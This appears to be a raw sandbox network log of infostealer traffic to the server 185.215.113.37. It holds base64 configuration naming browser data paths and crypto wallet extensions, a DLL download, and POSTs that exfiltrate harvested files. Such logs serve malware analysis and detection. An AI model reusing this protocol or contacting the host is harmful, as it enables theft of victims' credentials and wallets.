Oct 23, 2024 15:48:08.997468948 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 23, 2024 15:48:08.998148918 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 23, 2024 15:48:08.999479055 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="message"plugins------GIJKKKFCFHCFIECBGDHI--
Oct 23, 2024 15:48:09.288851976 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 23, 2024 15:48:09.288893938 CEST	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 23, 2024 15:48:09.288933992 CEST	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 23, 2024 15:48:09.288968086 CEST	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 23, 2024 15:48:09.289002895 CEST	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 23, 2024 15:48:09.289037943 CEST	636	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 23, 2024 15:48:09.289257050 CEST	1236	IN	Data Raw: 5a 32 56 6d 66 44 46 38 4d 48 77 77 66 45 31 31 62 48 52 70 64 6d 56 79 63 31 67 67 52 47 56 47 61 53 42 58 59 57 78 73 5a 58 52 38 5a 47 35 6e 62 57 78 69 62 47 4e 76 5a 47 5a 76 59 6e 42 6b 63 47 56 6a 59 57 46 6b 5a 32 5a 69 59 32 64 6e 5a 6d Data Ascii: Z2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV
Oct 23, 2024 15:48:09.289288044 CEST	212	IN	Data Raw: 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 Data Ascii: YWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2Fs
Oct 23, 2024 15:48:09.289413929 CEST	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Oct 23, 2024 15:48:09.291232109 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="message"fplugins------KJJJKFIIIJJJECAAEHDB--
Oct 23, 2024 15:48:09.575496912 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 23, 2024 15:48:09.756848097 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJD Host: 185.215.113.37 Content-Length: 6151 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:09.756896019 CEST	6151	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 Data Ascii: ------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 23, 2024 15:48:10.560290098 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:10.836374044 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:11.119204998 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 23, 2024 15:48:12.411701918 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:13.213849068 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:13.566832066 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:14.357570887 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:14.375253916 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="file"------ECAKECAEGDHIECBGHIII--
Oct 23, 2024 15:48:15.165812969 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:16.540940046 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file"------FHCGHJDBFIIDGDHIJDBG--
